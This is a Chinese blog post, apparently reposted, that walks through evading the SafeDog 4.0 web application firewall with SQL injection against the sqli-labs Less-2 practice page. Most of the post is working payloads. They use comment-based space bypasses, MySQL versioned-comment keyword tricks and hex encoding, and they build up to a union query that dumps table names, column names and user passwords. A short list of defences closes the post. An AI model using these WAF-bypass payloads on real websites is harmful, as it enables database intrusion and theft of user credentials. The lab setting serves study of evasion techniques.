sql注入bypass安全狗4.0


安全狗4.0繞過:

拿sqllib第二關舉例,因為是數字型注入,也就不用引入單引號

http://192.168.228.11/mysql/Less-2/?id=1

繞過空格

image

image

image

進行fuzz發現/**/內用以上字符可以實現繞過

image

繞過and

and 不攔截

and 1=1 攔截

and 1 攔截

image

1./!/配合版本號繞過

如果是/*xxx*/里面的xxx不執行

如果是/*!50000xxxx*/ 如果mysql版面大於5.00.00 后面的xxxx就會被直接執行

如果!后面不加版本號,后面的xxxx自動執行

/*小於當前mysql版本號1*/=/*小於當前mysql版本號1*/ --> 1=1

payload:
http://192.168.228.11/mysql/Less-2/?id=1 and /*!500001*/=/*!500001*/--+

image

2.if((1>2),1,2)

payload:
http://192.168.228.11/mysql/Less-2/?id=if((1>2),1,2)--+

image

3.用繞過空格的方法

payload:
http://192.168.228.11/mysql/Less-2/?id=1 and/*//*/1=1 --+

image

image

繞過order by

用繞過空格的方法實現繞過

payload:
http://192.168.228.11/mysql/Less-2/?id=1 order/*//*/by 3 --+

image

image

繞過union select

經過fuzz發現:

繞過空格的/*//*/也被攔截了

union 不攔截

union a 不攔截

select 不攔截

a select 不攔截

union select 攔截

使用版本號過濾:

payload:
http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!500001select*//*//*/1,2,3--+

image

還是顯示攔截

image

image

進行fuzz發現/*!*/內用以上字符可以實現繞過

image

payload:
http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!50044select*//*//*/1,2,3--+

image

查詢當前用戶

user 不攔截

user() 攔截

user(/*//*/) 不攔截

image

查詢當前數據庫

database 不攔截

database() 攔截

database(/*//*/) 不攔截

image

查詢當前數據庫的表

group_concat(table_name) 不攔截

from 不攔截

information_schema.tables 不攔截

where 不攔截

table_schema 不攔截

但最后輸出被攔截

http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!50044select*//*//*/1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database(/*//*/) --+

image

再fuzz一下select里面的參數

image

發現為50440-50449時可以實現繞過

payload:
http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!50440select*//*//*/1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database(/*//*/) --+

image

或者表名用16進制表示

payload:
http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!50440select*//*//*/1,group_concat(table_name) ,3 from information_schema.tables where table_schema=0x7365637572697479 --+

image

查詢表中字段

與獲取當前數據的表一致

payload:
http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!50440select*//*//*/1,group_concat(column_name) ,3 from information_schema.columns where table_schema=database(/*//*/) --+

image

查詢字段值

與前幾個差不多

payload:
http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!50440select*//*//*/1,group_concat(username,'-',password) ,3 from users --+

image

sql注入防御

1.部署WAF,防火牆

2.限制關鍵字的輸入,如' " ) #

3.對用戶輸入的內容進行轉義,限制輸入的長度

4.使用預編譯對SQL語句預處理,進行參數綁定,最后傳入參數


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM